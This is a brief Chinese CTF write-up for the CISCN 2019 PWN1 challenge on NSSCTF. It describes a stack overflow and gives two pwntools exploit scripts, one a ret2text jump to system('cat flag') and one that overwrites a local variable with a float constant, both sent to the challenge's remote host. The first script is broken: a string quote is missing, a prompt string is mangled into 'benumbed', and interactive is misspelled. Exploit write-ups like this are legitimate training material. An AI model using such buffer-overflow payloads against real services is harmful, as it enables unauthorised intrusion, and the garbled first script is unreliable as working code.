题目来源:[CISCN 2019华北]PWN1 | NSSCTF
题目环境:ubuntu18
做题环境:kali2024.3
下载题目,IDA打开:
checksec查一下保护
发现可以利用栈溢出,而且没打开PIE
于是想到有两种利用思路:
- 利用ret2text返回到system('cat flag')
- 利用栈溢出覆盖使得v2等于目标值
第一种思路:
from pwn import *
io = remote('node7.anna.nssctf.cn',23629)
context.log_level = 'debug'
payload = b'a'*(44 + 4 + 8) + p64(0x4006BE)
io.sendlineafter(benumbed.\n',payload)
io.interative()
第二种思路:
先计算出v2变量的起始位置:根据v1和v2相对于rbp的距离,可以计算出需要覆盖的v1的大小为0x30-0x4=0x2C(注意h结尾的数字是十六进制数)
然后可以看到11.28125在IDA里面的汇编是41348000h
exp:
from pwn import *
io = remote('node7.anna.nssctf.cn',23629)
context.log_level = 'debug'
payload = b'a'*0x2c + p64(0x41348000)
io.sendlineafter(b'number.\n',payload)
io.interactive()
Comments NOTHING